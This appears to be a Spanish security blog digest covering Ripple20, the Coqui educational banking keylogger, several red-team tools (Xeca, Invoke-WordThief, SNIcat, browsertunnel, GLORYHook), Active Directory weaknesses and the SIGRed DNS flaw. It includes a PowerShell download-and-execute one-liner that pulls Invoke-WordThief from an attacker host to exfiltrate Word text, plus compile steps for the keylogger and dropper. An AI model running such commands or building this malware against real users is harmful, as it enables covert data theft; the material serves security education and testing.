A mediados de junio del 2020 la firma israelí JSOF especializada en la investigación de vulnerabilidades y su explotación en dispositivos embebidos, dio a conocer el descubrimiento de 19 vulnerabilidades que afectaban la implementación de TCP/IP de Treck, este conjunto de vulnerabilidades se denominó como Ripple20. Dicha implementación se encuentra en multitud de marcas y dispositivos, incluyendo servidores, impresoras, dispositivos IoT, equipo médico, etc. Las vulnerabilidades varían en criticidad desde baja hasta alta, las más graves permiten ejecución de código, así como la filtración de información directamente de la memoria del equipo afectado.

Desarrollo

Actualmente los escaneos automatizados a nivel infraestructura pueden revelar aparentemente la existencia de la vulnerabilidad, como es el caso de Nessus, es importante aclarar que Nessus no arroja el detalle de cuál de las 19 vulnerabilidades de Ripple20 está presente en el equipo afectado, simplemente lanza el listado de los CVE involucrados, por lo que es tarea de los equipos de seguridad investigar detalles sobre la vulnerabilidad y encontrar algún método de detección para identificar equipos afectados en la red.

Imagen 1 y 2. Resultado de Nessus referente a Ripple20.
De las 19 vulnerabilidades son de interés las que permitirían ejecución de código, así como filtración de información, tal es el caso de CVE-2020-11896 y CVE-2020-11898, por lo que es recomendable prestar atención en ellas para identificarlas y remediarlas.

Para tener un panorama más amplio de lo que se está hablando se recomienda revisar el documento publicado por JSOF en donde exponen los detalles técnicos de la vulnerabilidad.

Coqui: Malware bancario con propósito educativo

Coqui es un malware diseñado para activarse cuando un usuario visita un sitio web bancario. El malware comparará el título de la ventana con un conjunto de valores hardcodeados. Ese conjunto de valores se puede ampliar simplemente agregándolos a la variable banktitles:


Si un título de la ventana coincide, se inicia el keylogger, pero si no coincide, el malware simplemente seguirá ejecutándose a la espera.

Una vez que se inicia el keylogger, el malware guardará un archivo llamado db.txt en el directorio %TMP%.

El dropper asociado con este malware es simple: verifica todas las ventanas en ejecución para ver si tienen las palabras "Process" o "Administrador de tareas de Windows", ya que normalmente indican que el archivo se está analizando (por ejemplo, Process Hacker, Process Monitor , etc.), si alguna ventana tiene esto en su título, no continuará ejecutándose.
NOTA: Esta lista hardcodeada de procesos que se comprueba antes de continuar con la ejecución se puede ampliar cambiando la variable xprocesses:


Si no ve ninguno de estos procesos, verifica si la víctima ya está infectada buscando en el directorio %TMP% una lista de archivos.
- Si la víctima ya está infectada, el dropper enviará las pulsaciones de teclas recopiladas a un servidor remoto que se especifica en el segundo parámetro de la función Pigeon a través de peticiones GET.
- Si la víctima no está infectada, se copia a sí mismo en el directorio %TMP% con el nombre 01.exe y crea una tarea programada para ejecutarse cada 12 días a las 12:00 del mediodía. Finalmente, descarga el keylogger y lo renombra a ursakta.exe.

Antes de usar

Cambiar la dirección IP del servidor (segundo parámetro para la función Pigeon) así como la URL del archivo keylogger principal (primer parámetro para la función Pigeon). La función pigeon se llama en main:


Compilación

Cross-compile de Linux a Windows usando mingw:

64 bits (para el dropper): x86_64-w64-mingw32-gcc input.c -o output.exe -lurlmon -lwininet

32 bits (para el dropper): i686-w64-mingw32-gcc input.c -o output.exe -lurlmon -lwininet

64 bits (para keylogger): x86_64-w64-mingw32-gcc input.c -o output.exe

32 bits (para keylogger): i686-w64-mingw32-gcc input.c -o output.exe

Purple Cloud: despliega un lab de DA en la nube

Purple Cloud de Jason Ostrom es una pequeña implementación de Active Directory automatizada con plantillas de playbooks en Terraform/Ansible para implementar en Azure; ideal para organizar y llevar a cabo un ciberejercicio de pentesting en AD. Sus características actuales son:

- Implementa una máquina virtual Linux para pentesting y un contenedor Docker (AriaCloud) accesible a través de RDP
- También se puede realizar una implementación independiente de AriaCloud desde este repositorio. Para esta opción, hay que navegar hasta el directorio aria-cloud y ver el archivo README. Más info en https://github.com/iknowjason/AriaCloud.
- Implementa un controlador de dominio Windows 2019 y tres endpoints de Windows 10 Pro
- Une automáticamente los tres equipos con Windows 10 al dominio AD
- Utiliza plantillas de Terraform para implementar automáticamente VMs en Azure
- Las plantillas de Terraform escriben la configuración de los playbooks en Ansible, que se pueden personalizar
- Carga Badblood automáticamente (pero no lo instala) si prefieres generar miles de usuarios simulados https://github.com/davidprowe/BadBlood
- El script de Powershell posterior a la implementación proporciona tres usuarios de dominio en el controlador de dominio 2019 y se puede personalizar para muchos más
  • Usuarios del dominio: olivia (administrador del dominio); lars (usuario de dominio); liem (Usuario de dominio)
  • Todas las contraseñas de usuario de dominio: Password123
  • Dominio: RTC.LOCAL
  • Credenciales del administrador de dominio: RTCAdmin: Password123
- Implementa cuatro subredes IP
- Implementa grupos de seguridad de red de Azure (NSG) intencionalmente inseguros que permiten RDP, WinRM (5985, 5986) y SSH desde la Internet pública. Securiza esto según tus requisitos. WinRM se utiliza para aprovisionar automáticamente los hosts.

SNIcat: bypasseando la inspección TLS para exfiltrar información

Los investigadores Morten Marstrander y Matteo Malvica de Mnemonic han descubierto un método para exfiltrar información bypasseando dispositivos que interceptan e inspeccionan TLS como proxies web, firewalls de última generación (NGFW) y otras soluciones, entre ellos, dispositivos de F5 Networks, Palo Alto Networks y Fortinet.

Normalmente estos appliances verifican el SNI (Server Name Indication) para bloquearlo si la URL o el hostname están categorizados como maliciosos. EL procedimiento sería así:


Lo más fácil parece cambiar el SNI y luego mandar el tráfico a un dominio malicioso, pero como veis en la imagen muchas plataformas de seguridad si no matchea el SNI con el cn del certificado del sitio bloquean el tráfico directamente. Sin embargo, el bloqueo se realiza una vez que se ha completado el handshake TLS por lo que se puede aprovechar ese stream unidireccional para exfiltrar información (el paquete TLS Client Hello siempre llega a su destino). Además, muchos dispositivos que hacen un mirror del tráfico para descifrarlo e inspeccionarlo con un IDS no reciben el handshake TLS... }:-)

Además, siempre que el servidor presente un certificado válido y confiable durante el handshake TLS, la solución de seguridad siempre presentará una versión emulada de ese certificado al cliente, firmada por la CA integrada de la solución. Este comportamiento ocurre incluso si el dominio utilizado está en la lista negra de una base de datos de reputación (categorización de URL/dominio). Sin embargo, si el certificado que presenta el servidor es auto-firmado no confiable normalmente devuelven un reset a la sesión TCP.

Creación de payloads cifrados en Powershell con Xeca

Xeca es un proyecto que crea payloads cifrados de PowerShell con fines ofensivos. También es posible crear shellcodes independientes a partir de archivos DLL. Para instalarlo, tenemos que tener previamente Rust y luego construir el proyecto simplemente con el comando: cargo build.

Su funcionamiento es el siguiente:
1. Identifica y cifra el payload. Carga el payload cifrado en un script de PowerShell y lo guarda en un archivo llamado "launch.txt"
2. La clave para descifrar el payload se guarda en un archivo llamado "safe.txt"
3. Ejecuta "launch.txt" en un host remoto
  • El script volverá a llamar al servidor web definido por el atacante para recuperar la clave de descifrado "safe.txt"
  • Descifra el payload en la memoria
  • Ejecuta el payload en la memoria
Algunos ejemplos de uso:

Empire


Merlin


Sliver


Mitigaciones

Si los usuarios tienen que tener acceso a programas como powershell.exe, para mitigar el uso de estas herramientas hay que considerar minimizar los riesgos de seguridad con Just Enough Administration y PowerShell Logging. Las políticas de control de aplicaciones se pueden implementar a través de whitelisting con herramientas como AppLocker.

Proyecto: https://github.com/postrequest/xeca

Herramienta para exfiltrar el texto de los documentos de Word abiertos

Invoke-WordThief es una herramienta que se compone de un script en powershell que conecta con un servidor TCP implementado en python y que monitoriza los documentos de Microsoft Word activos (.doc, .docx, etc.) para extraer/ex-filtrar sus textos. Para ello utiliza los objetos COM de Word y el script también añade un entrada en el registro en la rama HKCU (sin necesidad de privilegios de administración) para conseguir persistencia.

USO
Servidor:
$ python3 ./logger.py -h
usage: logger.py [-h] [-o LOG_DIR] [-p LPORT] [-b BIND]

TCP Listener for Invoke-WordThief document text

optional arguments:
  -h, --help            show this help message and exit
  -o LOG_DIR, -d LOG_DIR, --log_dir LOG_DIR
                        Full path of log directory.
  -p LPORT, -l LPORT, --lport LPORT
                        Listening port of log server
  -b BIND, --bind BIND  Bind address to listen to


Cliente:
PS C:\Users\vis0r\Downloads\Invoke-WordThief-master> help Invoke-WordThief

NOMBRE
    Invoke-WordThief

SINOPSIS
    This is the main function, running all monitoring activity and multithreading (Jobs),
    defined ScriptBlock that runs the text streaming phase (after doc has been opened).

SINTAXIS
    Invoke-WordThief [-SERVER] <String> [[-PERSISTENCE] <Boolean>] [[-LOG_PORT] <Int32>] [[-HTTP_PORT] <Int32>]
    [<CommonParameters>]

DESCRIPCIÓN

VÍNCULOS RELACIONADOS

NOTAS
    Para ver los ejemplos, escriba: "get-help Invoke-WordThief -examples".
    Para obtener más información, escriba: "get-help Invoke-WordThief -detailed".
    Para obtener información técnica, escriba: "get-help Invoke-WordThief -full".


powershell -nop -w 1 -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.138:8888/Invoke-WordThief.ps1');Invoke-WordThief -Server 192.168.1.138"


Fuente: https://github.com/danielwolfmann/Invoke-WordThief

browsertunnel: exfiltrando datos mediante dns-prefetch

Browsertunnel es una herramienta para exfiltrar datos desde el navegador utilizando el protocolo DNS. Para ello abusa de dns-prefetch, una técnica destinada a reducir la latencia percibida de los sitios web al realizar búsquedas DNS en segundo plano para dominios específicos antes si quiera que se soliciten cargarse. Pueden ser una o varias meta etiquetas que se colocan dentro del head, en ellas se establecen los dominios de los cuales vamos a necesitar cargar recursos en nuestra web. De esta manera precargamos los dominios (DNS) para que se resuelva la IP de la cual se descargarán los recursos requeridos, y así evitamos que esa resolución de la IP se haga justo cuando se requiera la carga del recurso. Además el tráfico DNS no aparece en las herramientas de depuración del navegador, no está bloqueado por la Política de seguridad de contenido (CSP) de una página, y a menudo no es inspeccionado por firewalls o proxies corporativos, por lo que es un medio ideal para sacar datos en escenarios restringidos.

Se trata de una técnica antigua: el túnel DNS en sí se remonta a los años 90, y Patrick Vananti escribió sobre el uso de dns-prefetch en 2016, pero por lo que puedo decir, browsertunnel es el primer cliente/servidor de código abierto que demuestra su uso. Debido a que dns-prefetch no devuelve ningún dato al cliente javascript, la comunicación a través de browsertunnel solo es unidireccional. Además, algunos navegadores deshabilitan dns-prefetch de forma predeterminada, y en esos casos, browsertunnel fallará silenciosamente.


El proyecto tiene dos partes:

- Un servidor, escrito en golang, que funciona como un servidor DNS autorizado que recopila y decodifica los mensajes enviados por browsertunnel.
- Una pequeña librería de JavaScript, que se encuentra en la carpeta html/, codifica y envía mensajes desde el lado del cliente

Principales vulnerabilidades en un Directorio Activo

Todos estamos de acuerdo que asegurar un entorno de Active Directory no es una tarea fácil, siempre hay nuevos requisitos, características, pequeños (o grandes) descuidos en su configuración y nuevas vulnerabilidades que van apareciendo casi de forma frenética. Recientemente en el blog de Infosecmatter recogían un top16 de las debilidades y vulnerabilidades más comunes que encontraremos en este tipo de entornos, sin duda una recopilación muy útil y que un pentester a de tener muy en cuenta:

1. Usuarios que tienen permisos para agregar equipos al dominio
2. Atributo AdminCount configurado en usuarios comunes
3. Demasiados usuarios en grupos privilegiados
4. Cuentas de servicio miembros de administradores de dominio
5. Privilegios excesivos que permiten shadow admins en el dominio
6. Cuentas de servicio vulnerables a Kerberoasting
7. Usuarios con contraseñas que no caducan
8. Usuarios con contraseña no requerida
9. Almacenar contraseñas usando cifrado reversible
10. Almacenar contraseñas usando hashes LM
11. Cuentas de servicio vulnerables a AS-REP roasting
12. Política de contraseñas débil
13. Cuentas de dominio inactivas
14. Usuarios privilegiados con restablecimiento de contraseña vencido
15. Usuarios con una contraseña débil
16. Credenciales en SYSVOL y Preferencias de directiva de grupo (GPP)

1. Usuarios que tienen permisos para agregar equipos al dominio

En el Directorio Activo por defecto cualquier usuario de dominio puede agregar worstations. Esto se define mediante el atributo ms-DS-MachineAccountQuota que se establece de manera predeterminada a 10. Es decir, cualquier usuario de dominio con pocos privilegios puede unir hasta 10 computadoras al dominio. Por ejemplo esto brinda la posibilidad a un atacante de agregar su propio equipo no administrado a un dominio corporativo con las siguientes ventajas:

- sin necesidad de tener una solución antivirus o EDR en su máquina
- no se aplicarán configuraciones o políticas de GPO a su sistema
- podrá tener derechos administrativos en su sistema

Para añadir a un equipo al dominio se puede hacer mediante las Propiedades del Sistema (sysdm.cpl) o con powershell:
add-computer –domainname <FQDN-DOMAIN> -Credential <DOMAIN>\<USER> -restart –force

# Ejemplo
add-computer –domainname org.local -Credential ORG\john -restart –force

Si tenemos acceso a los controladores de dominio también podemos enumerar aquellas máquinas que fueron agregadas por usuarios que no son administradores:
Import-Module ActiveDirectory
Get-ADComputer -LDAPFilter "(ms-DS-CreatorSID=*)" -Properties ms-DS-CreatorSID

Volver al principio

2. Atributo AdminCount configurado en usuarios comunes

En DA hay un objeto llamado AdminSDHolder cuyo propósito es proteger objetos. Específicamente, objetos que son miembros de grupos administrativos.

Los objetos AD tienen un atributo llamado AdminCount. El valor predeterminado es para la mayoría de los objetos. Al cambiar el valor a "1", se marca la cuenta como protegida por AdminSDHolder.

Al agregar un usuario a un grupo con permisos de administración se cambia el valor a "1", pero si embargo cuando se saca del grupo ese valor no vuelve a "0". Como resultado, el objeto de usuario sigue teniendo ACL "sensibles" como por ejemplo deshabilitar la herencia de permisos. Esto puede ser un riesgo en algunos escenarios.

Para encontrar usuarios con el atributo AdminCount configurado a 1 podemos usar la herramienta LDAPDomainDump. Esta herramienta recopila información sobre todos los usuarios, grupos y equipos del dominio. Todo lo que necesitamos son credenciales de cualquier usuario de dominio con pocos privilegios y poder llegar al puerto LDAP de cualquier controlador de dominio.

GLORYHook o llamando libc desde el propio hook

GLORYHook del israelí Paul Litvak (Intezer labs) es un script en python que nos permitirá hacer un merge de dos binarios en Linux. Lo interesante es que utiliza un método de hooking que permite llamar librerías desde el propio hook, por lo que no es necesario recurrir a escribir shellcodes o escribir una implementación propia de las API de libc.

La instalación son unos pocos pasos sólo:

1. (Requisito) Custom LIEF para manipular más fácilmente los ELF
git clone https://github.com/tsarpaul/LIEF
cd LIEF
python3 ./setup.py install

2. GLORYHook
git clone https://github.com/tsarpaul/GLORYHook.git
cd GLORYHook
pip3 install -r requirements.txt

Ahora veamos un ejemplo con el código de hook.c donde podemos ver como llamamos a la API de libc:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char *gloryhook_strrchr(const char *s, int c){
    printf("STRRCHR HOOKED!\n");
    return strrchr(s, c);
}

char *gloryhook_getenv(const char *name) {
    printf("GETENV HOOKED!\n");
    return getenv(name);
}

Después usamos el script para que haga su magia:
$ python3 glory.py /bin/ls ./hook -o ./hooked-ls
[+] Beginning merge!
[+] Injecting new PLT
[+] Extending GOT for new PLT
[+] Fixing injected PLT
[+] Injecting PLT relocations
[+] Done!

Y voilà:
$ ./hooked-ls 
STRRCHR HOOKED!
GETENV HOOKED!
GETENV HOOKED!
GETENV HOOKED!
GETENV HOOKED!
GETENV HOOKED!
GETENV HOOKED!
GETENV HOOKED!
GETENV HOOKED!
GETENV HOOKED!
example.sh  glory-penguin.png  glory.py  hook  hook.c  hooked-ls  README.md  requirements.txt  usage.png

Ya os podéis imaginar que esto puede servir bastante bien para un file infector/backdoor, como una buena alternativa para un rootkit de LD_PRELOAD y bastante díficil de detectar... };-)

SIGRed: vulnerabilidad crítica en el servidor DNS de Windows (CVE-2020-1350)

Los investigadores de Checkpoint se propusieron encontrar una vulnerabilidad mediante la cual comprometer un dominio de Windows, preferiblemente sin necesidad previa de autenticación, y siguieron la senda de la explotación de protocolos como ya pasó con Eternalblue con RDP o BlueKeep con RDP. En este caso se centraron en el servidor DNS presente en la mayoría de los controladores de dominio y el resultado fue el descubrimiento de un desbordamiento de enteros o integer overflow (que deriva en un Heap-Based Buffer Overflow) a la hora de parsear peticiones de tipo Signature (RR SIG records): hablamos de la vulnerabilidad CVE-2020-1350 llamada también SIGRed con un CVSS de 10.0 y que afecta a las versiones de Windows Server 2003 a 2019.

Unas pocas premisas

Partamos de unas pocas premisas antes de empezar a ver la descripción de la vulnerabilidad:
  • DNS opera en el puerto 53 UDP o TCP
  • un solo mensaje DNS (respuesta/petición) está limitado a 512 bytes en UDP y 65,535 bytes en TCP.
  • DNS es jerárquico y descentralizado por naturaleza. Esto significa que cuando un servidor DNS no conoce la respuesta a una consulta que recibe, la consulta se reenvía a un servidor DNS que se encuentra sobre él en la jerarquía
  • En Windows, el cliente DNS y el servidor DNS se implementan en dos módulos diferentes:
    •  Cliente DNS: dnsapi.dll es responsable de la resolución de DNS.
    •  Servidor DNS: dns.exe es responsable de responder las consultas DNS en Windows Server, en el que está instalada la funcionalidad DNS.

Descripción de la vulnerabilidad

La vulnerabilidad se encuentra en el servidor DNS/dns.exe:
1. dns.exe implementa una función de parseo para cada tipo de respuesta soportada
2. Uno de los tipos de respuesta admitidos es para una consulta SIG. La función del handler para el tipo de respuesta SIG es dns.exe!SigWireRead
3. La función responsable de asignar memoria para el RR (Resource Record) RR_AllocateEx espera que sus parámetros se pasen en registros de 16 bits, ya que solo usa la parte dx de rdx y la parte cx de rcx.
4. Si podemos hacer que se muestre un resultado mayor de 65.535 bytes (el valor máximo para un entero de 16 bits) se produce un desbordamiento y esta dirección de memoria asignada se pasa como un búfer de destino para memcpy, lo que lleva a un heap buffer overflow.